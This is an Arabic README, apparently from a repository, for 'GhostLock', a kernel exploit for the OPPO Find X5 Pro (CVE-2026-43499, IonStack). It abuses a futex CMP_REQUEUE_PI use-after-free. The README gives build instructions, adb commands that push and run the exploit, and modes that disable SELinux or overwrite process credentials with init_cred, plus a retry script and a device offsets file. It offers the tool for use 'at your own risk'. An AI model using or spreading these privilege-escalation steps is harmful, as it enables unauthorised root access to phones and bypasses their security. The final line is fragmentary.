
أبحاث GhostLock (CVE-2026-43499 / IonStack) لجهاز OPPO Find X5 Pro (PFEM10): سلسلة الاستغلال، التقدم، سجل العوائق، وملاحظات نواة سلسلة OPPO 5.
استغلال CVE-2026-43499 (IonStack) لـ OPPO Find X5 Pro (PFEM10).
نواة 5.10.236-android12-9-o، futex CMP_REQUEUE_PI UAF → pi-tree write primitive.
استخدمه على مسؤوليتك الخاصة. توقّع حالات panic / إعادة تشغيل. لا تقم بتحديث البرنامج الثابت.
./build.sh # requires Android NDK r28c
معاملات البناء ثابتة (-O1 / android26) — تغييرها يكسر معايرة stack-geometry.
adb push exploit /data/local/tmp/
adb shell /data/local/tmp/exploit W1 # SELinux permissive
adb shell /data/local/tmp/exploit W2 # child cred -> init_cred
adb shell /data/local/tmp/exploit W5 # caps-only cred copy
أعد المحاولة عبر إعادات التشغيل: bash run.sh <mode> [attempts]
src/ exploit + payload + offsets (exploit.c, payload.c, pfem10_target.h)
lib/ KernelSnitch heap-leak library
model/ rtmutex chain-walk model (host verification)
oplus_root_check, caps-only route in progress)CyberMeowfia · IonStack (original exploit)